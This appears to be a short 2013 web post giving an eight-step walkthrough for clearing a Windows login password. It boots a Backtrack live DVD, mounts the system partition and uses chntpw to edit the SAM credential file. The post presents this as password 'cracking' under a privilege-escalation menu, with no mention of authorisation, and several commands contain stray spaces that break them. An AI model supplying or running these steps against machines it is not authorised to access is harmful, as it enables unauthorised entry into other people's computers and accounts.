For cracking windows password using Backtrack you should have a Backtrack DVD. Insert DVD and boot from it. Now Backtrack have many offline password cracking tools pre-installed, we will use one of them. Continue using following steps: Step 1: Open applications>Ba ctrack>Privileg e Escalation>Pass word Hacks>Offline Attacks>chntpw Step 2: Type fdisk -l Step 3 Type mkdir /mnt/apple Step 4: Type mount -t ntfs-3g / dev/sda1 /mnt/apple Step 5: Type ./chntpw -l /mnt/ apple/WINDOWS/ system32/ config/SAM Step 6: Type ./chntpw /mnt/ apple/WINDOWS/ system32/ config/SAM Step 7: After you have the user edit menu select the appropriate step, here we have to clear password so type 1 and press enter Step 8: Now it will ask for writing hive files so type y and press enter Now your windows password has been cleared. When the next time you will login it will not ask for password. Enjoy!!!
Posted on: Wed, 13 Nov 2013 09:48:33 +0000